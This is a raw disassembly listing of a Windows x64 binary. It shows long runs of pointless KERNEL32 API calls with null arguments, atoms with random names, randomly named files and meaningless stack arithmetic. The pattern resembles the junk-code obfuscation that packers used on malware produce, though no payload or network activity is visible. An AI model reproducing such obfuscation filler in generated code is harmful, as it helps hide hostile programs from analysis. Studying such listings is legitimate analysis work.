mov word [0x1401c7158], ax
lea rcx, str.dYXLpo_P1G49h3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23d8], ax
mov rcx, qword [rsp + 0xc930]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x647c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc460], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xc1d8]
movzx ecx, al
mov rax, qword [0x1401c7068]
shl rax, cl
mov qword [rsp + 0xd4c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
mov qword [rsp + 0xd780], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rdx, [rsp + 0x264f8]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
mov rax, qword [rsp + 0xcc80]
mov rcx, qword [rsp + 0xc898]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbae0], rax
mov rax, qword [0x1401c8cb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd4f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a8]
add eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xa4f8]
movzx ecx, al
mov rax, qword [rsp + 0xd5b0]
shl rax, cl
mov rcx, qword [rsp + 0xcea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov dword [rsp + 0x6798], eax
mov edx, 0xc26
mov rcx, qword [rsp + 0xd6f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6794], eax
mov eax, dword [rsp + 0x650c]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x65b0], eax
movzx eax, byte [rsp + 0x2d8]
mov byte [rsp + 0x3d1], al
movsx eax, word [rsp + 0x22ec]
movsx ecx, word [rsp + 0x2374]
or eax, ecx
mov word [0x1401c8b98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64d0], eax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x190c]
xor eax, ecx
mov word [rsp + 0x2114], ax
movzx ecx, word [rsp + 0x1f48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23dc], ax
lea rax, [0x1401c70e4]
mov qword [rsp + 0xd788], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx ecx, word [rsp + 0x232c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd738]
mov rcx, qword [rsp + 0xcf30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc450], rax
movsx eax, byte [rsp + 0x3bf]
movsx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0xd778]
mov rax, qword [rax]
mov rcx, qword [0x1401c8b70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa898], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66d0], eax
mov rax, qword [rsp + 0xcc68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6380]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b8], eax
mov rax, qword [rsp + 0xc638]
movzx eax, word [rax]
mov word [rsp + 0x23e0], ax
movzx eax, word [rsp + 0x1f3c]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc558]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xd790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd790]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c8b58], rax
mov rax, qword [0x1401c8b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fb8]
sub eax, ecx
mov word [rsp + 0x2364], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xa198]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9c00], rax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccb0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x653c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd798], rax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xd7a0], rax
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
movzx eax, byte [rsp + 0x3ae]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xcd70]
mov eax, dword [rax]
mov dword [rsp + 0x679c], eax
mov edx, 0xcbd
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3cf]
add eax, ecx
mov byte [rsp + 0x37f], al
mov rax, qword [0x1401c8b18]
movzx eax, word [rax]
mov word [0x1401c8cf8], ax
xor r9d, r9d
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67a0], eax
movsx eax, word [rsp + 0x235c]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1848], ax
movzx eax, word [rsp + 0x1488]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd3b8]
mov word [rcx], ax
mov rax, qword [0x1401c8b60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2080], ax
lea rcx, [rsp + 0x20038]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
lea rax, [rsp + 0xc468]
mov qword [rsp + 0xd7a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xd710]
mov rcx, qword [rsp + 0xd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5d24], eax
lea rax, [rsp + 0x152]
mov qword [rsp + 0xd7b0], rax
movzx ecx, word [rsp + 0x239c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2078], ax
lea rdx, [rsp + 0x26370]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x67a4], eax
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x198c]
sar eax, cl
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov word [rsp + 0x23e4], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3a8]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c8cf0], rax
mov rax, qword [rsp + 0xc7d0]
movzx ecx, al
mov rax, qword [rsp + 0xab28]
shl rax, cl
mov qword [rsp + 0xc868], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7b0], rax
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f4c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0xcbc8]
mov qword [rsp + 0xd7b8], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa88], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28f], al
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23e8], ax
mov eax, dword [rsp + 0x6770]
mov ecx, dword [rsp + 0x5f08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6498], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcec0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x3cc]
mov byte [rsp + 0x3d2], al
mov rcx, qword [rsp + 0xd3f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67a8], eax
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [rsp + 0x5d24]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401c715c], eax
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd5e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1994], ax
movzx eax, word [0x1401c8ce8]
mov word [rsp + 0x23ec], ax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x195c], ax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc990]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb020], rax
mov eax, dword [rsp + 0x5b60]
mov ecx, dword [rsp + 0x663c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xc008]
movzx ecx, al
mov rax, qword [rsp + 0xd030]
shr rax, cl
mov qword [rsp + 0xc840], rax
lea rcx, [rsp + 0x201e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x228]
mov byte [rsp + 0x3d3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd4f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x22d8], ax
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23f0], ax
movzx ecx, word [rsp + 0x1ffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22d4], ax
movzx eax, word [rsp + 0x938]
mov word [0x1401c8cfc], ax
lea rcx, str.rNtlne
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2228], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xcf58]
mov rcx, qword [rsp + 0xd050]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb578], rax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e5c]
sub eax, ecx
mov word [rsp + 0x1f3c], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x391]
imul eax, ecx
mov rcx, qword [rsp + 0xd008]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov dword [rsp + 0x67ac], eax
mov rax, qword [rsp + 0xa930]
mov rcx, qword [rsp + 0xc6c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc840], rax
mov eax, dword [rsp + 0x6678]
mov dword [rsp + 0x67b0], eax
lea rcx, str.NZ8h
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23f4], ax
movsx eax, byte [rsp + 0x3cc]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov word [rsp + 0x1f50], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0xcaf0]
movzx eax, word [rax]
movzx ecx, word [0x1401c8acc]
or eax, ecx
mov word [0x1401c8ab4], ax
movzx ecx, word [rsp + 0x2328]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21ec], ax
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xd738]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e48], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67b4], eax
mov rax, qword [rsp + 0xd610]
mov rcx, qword [rsp + 0xb3b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa800], rax
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22e4], ax
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [rsp + 0x23f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx eax, word [rsp + 0x2080]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x910], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.gTq8pj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd7c0], rax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1c0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
lea rax, [0x1401c8ab0]
mov qword [rsp + 0xd7c8], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x205], al
mov r9d, 1
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64e4], eax
mov rax, qword [rsp + 0xd328]
mov rcx, qword [rsp + 0xd4a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb2e0], rax
movsx eax, word [0x1401c8a28]
movsx ecx, word [rsp + 0x237c]
shl eax, cl
mov word [0x1401c7094], ax
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfdc], ax
lea rcx, str.D2.EGs258l
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23fc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcc60]
mov rcx, qword [rsp + 0xcf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5c40], eax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x3d4], al
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xd230]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb330], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
movsx eax, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
movsx ecx, byte [rsp + 0x379]
shl eax, cl
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5634]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d98], eax
mov rax, qword [rsp + 0xa598]
mov qword [rsp + 0xd7d8], rax
movsx eax, word [rsp + 0x20a4]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1fb4], ax
mov r9d, 2
lea r8, [rsp + 0xc740]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67a0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd7e0], rax
lea rcx, [rsp + 0x1ffd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd760]
movzx eax, word [rax]
mov word [0x1401c8d00], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xd488]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc960], rax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
mov word [rsp + 0x2400], ax
movsx eax, word [rsp + 0x2098]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c8], ax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9f58]
mov qword [rsp + 0xd7e8], rax
mov eax, dword [rsp + 0x5e80]
mov ecx, dword [0x1401c8ab0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6768], eax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
xor eax, ecx
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xd3e0]
mov rcx, qword [rsp + 0xb460]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xae98], rax
mov r9d, 2
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xd748]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66d0], eax
movzx eax, word [rsp + 0x1488]
mov rcx, qword [rsp + 0xcdf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2384], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xd3d0]
movzx ecx, al
mov rax, qword [rsp + 0xccd8]
shl rax, cl
mov qword [0x1401c8b38], rax
lea rcx, [rsp + 0x203f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xd7f0], rax
mov eax, dword [rsp + 0x6620]
mov ecx, dword [rsp + 0x5d78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x65a4], eax
movsx eax, word [rsp + 0x17bc]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2258], ax
movzx eax, word [rsp + 0x2044]
mov word [rsp + 0x2404], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65e4], eax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xd340]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0xd6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x61bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc8e8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.gJq3gruB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd7f8], rax
movsx eax, word [rsp + 0x2014]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd28], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
mov edx, 0x1433
mov rcx, qword [rsp + 0xd468]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6628], eax
lea rax, [0x1401c70e0]
mov qword [0x1401c8d08], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd800], rax
xor r9d, r9d
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xd438]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6778], eax
mov rcx, qword [rsp + 0xc640]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x67bc], eax
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0xd808], rax
mov rax, qword [rsp + 0xd5f8]
mov rcx, qword [rsp + 0xd610]
mov qword [rsp + 0xd810], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd810]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd6b8], rax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov qword [rsp + 0xd818], rax
mov rax, qword [0x1401c8b18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2174], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx ecx, word [rsp + 0x20e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f4c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a0], eax
mov rax, qword [rsp + 0xd660]
mov ecx, dword [rsp + 0x66b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5650], eax
mov rax, qword [rsp + 0xce60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d0]
cdq
idiv ecx
mov byte [rsp + 0x38c], al
mov rax, qword [rsp + 0xcb58]
mov rcx, qword [rsp + 0xc548]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcb58]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd820], rax
lea rax, [rsp + 0x5a00]
mov qword [rsp + 0xd828], rax
movzx eax, byte [rsp + 0x3a9]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x36b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x212c]
sub eax, ecx
mov rcx, qword [0x1401c8a38]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, word [rsp + 0x114c]
mov word [rsp + 0x2408], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2310]
sar eax, cl
mov word [rsp + 0x22c8], ax
mov edx, 0x240b
mov rcx, qword [rsp + 0xc860]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x67c0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xcd68]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xca00]
mov qword [rcx], rax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa548]
shl rax, cl
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bc4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcc00], rax
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x21c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x240c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
movzx eax, byte [rsp + 0x383]
mov byte [rsp + 0x3d5], al
movsx eax, word [rsp + 0x2280]
mov rcx, qword [0x1401c8ce0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2030], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcef8]
movzx eax, word [rax]
